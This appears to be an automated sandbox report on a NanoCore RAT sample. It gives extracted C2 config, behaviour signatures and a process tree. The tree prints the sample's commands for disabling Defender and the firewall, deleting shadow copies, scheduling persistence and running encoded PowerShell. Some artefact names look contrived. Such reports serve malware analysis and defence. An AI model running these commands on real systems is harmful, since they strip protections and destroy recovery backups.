Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/08/2026, 12:35

General

  • Target
    incesto.nl_chrome.exe
  • Size 57KB
  • Sample260824-psbcmatvav
  • SHA256 213523e6ad2ca74a9aae710e9dc76ecc313907966d75b47c9e4f479a4a979d32
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://incesto.nl

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://incesto.nl

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\incesto.nl_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\incesto.nl_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3208
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:920
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:260
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4776
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1756
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4344
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2456
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3296
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1116
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2988
      • C:\Users\Admin\AppData\Local\Temp\incesto.nl_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\incesto.nl_chrome.exe"
        3⤵
          PID:2548
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:2316
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:5424
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:2232
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3412
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:5904
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\incesto.nl_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1460
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\incesto.nl_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2248
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:2624
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:572
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4476
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1512
        • C:\Windows\System32\vssadmin.exe
          "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
          2⤵
          • Interacts with shadow copies
          PID:5676
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:3296
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2316
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:5000
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2140
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Discovers running processes
              PID:904
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5840
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
                PID:2756
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5828
              • C:\Windows\system32\net.exe
                net user
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1592
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user
                  4⤵
                    PID:2396
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:1180
                • C:\Windows\system32\ipconfig.exe
                  ipconfig /all
                  3⤵
                  • Gathers network information
                  PID:936
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:5996
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  PID:1472
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\incesto.nl_chrome.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5356
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:2564
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                • Executes a VBScript file via the Windows Script Host.
                PID:4692
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:5068
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:4856
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:1132
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:3152
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:4088
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:5248
              • C:\Users\Admin\AppData\Local\Temp\incesto.nl_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\incesto.nl_chrome.exe
                1⤵
                  PID:4496
                • C:\Users\Admin\AppData\Local\Temp\incesto.nl_chrome.exe
                  C:\Users\Admin\AppData\Local\Temp\incesto.nl_chrome.exe
                  1⤵
                    PID:2648
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                    1⤵
                      PID:1476

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          scr_20260824_133710.jpg

                          • Path C:\ProgramData\SysUpdate\Scr\scr_20260824_133710.jpg
                          • Size 110KB
                          • SHA256 259703f863e220b4d171083c338655b2f38a48d70230533ad43787be056b7030
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          invoice_1.pdf

                          • Path C:\ProgramData\invoice_1.pdf
                          • Size 76KB
                          • SHA256 14d35841b601857572ec8dcc3fa064c3f3b56cfb624f5e320d7d50dc46f1f9ef
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_3.pdf

                          • Path C:\SystemVolumeInformation\doc_3.pdf
                          • Size 76KB
                          • SHA256 39e0ac4e0485f5cccf5b2a46228812043639fe7bc43304011df66af2eeee745c
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 242B
                          • SHA256 f610ba715e80980e8dee752a3186cadf22ab01bfd5b5aba1fbce6c4ff18a0f6d
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 243B
                          • SHA256 de343b8c6192b4c6fa7b6c517c2ba8bfc73bec79a67070c814c8f013dcc47a94
                          • MD5 SHA1 SHA512 TLSH

                          temp_steal.log

                          • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                          • Size 147KB
                          • SHA256 8f10db493476ba35b0a9a77b94237140eb07086ed77700cd064c582691b0c65d
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          stolen_data_here.txt

                          • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                          • Size 147KB
                          • SHA256 cd46a7e2e8b930fb8f1e1015405d8a3907b1b4bd36ef8035330e655877ad907d
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/2624-2251-0x000002BADAD80000-0x000002BADAD81000-memory.dmp

                          memory/3208-2249-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/3208-315-0x000002BEEA1A0000-0x000002BEEA1AA000-memory.dmp

                          memory/3208-15-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/3208-17-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/3208-18-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/3208-16-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/3208-19-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/3208-20-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/3208-21-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/3208-22-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/3208-24-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/3208-23-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/3208-2283-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/3208-173-0x000002BEEA0C0000-0x000002BEEA0DE000-memory.dmp

                          memory/3208-180-0x000002BEEA0E0000-0x000002BEEA192000-memory.dmp

                          memory/3208-2272-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/3208-12-0x000002BEE9AA0000-0x000002BEE9AC2000-memory.dmp

                          memory/5740-5-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/5740-2-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/5740-2241-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/5740-2246-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/5740-0-0x00007FF8B41CF000-0x00007FF8B41D0000-memory.dmp

                          memory/5740-6-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/5740-4-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/5740-9-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/5740-2240-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/5740-14-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/5740-13-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/5740-3-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/5740-2271-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp

                          memory/5740-1-0x0000000000970000-0x0000000000984000-memory.dmp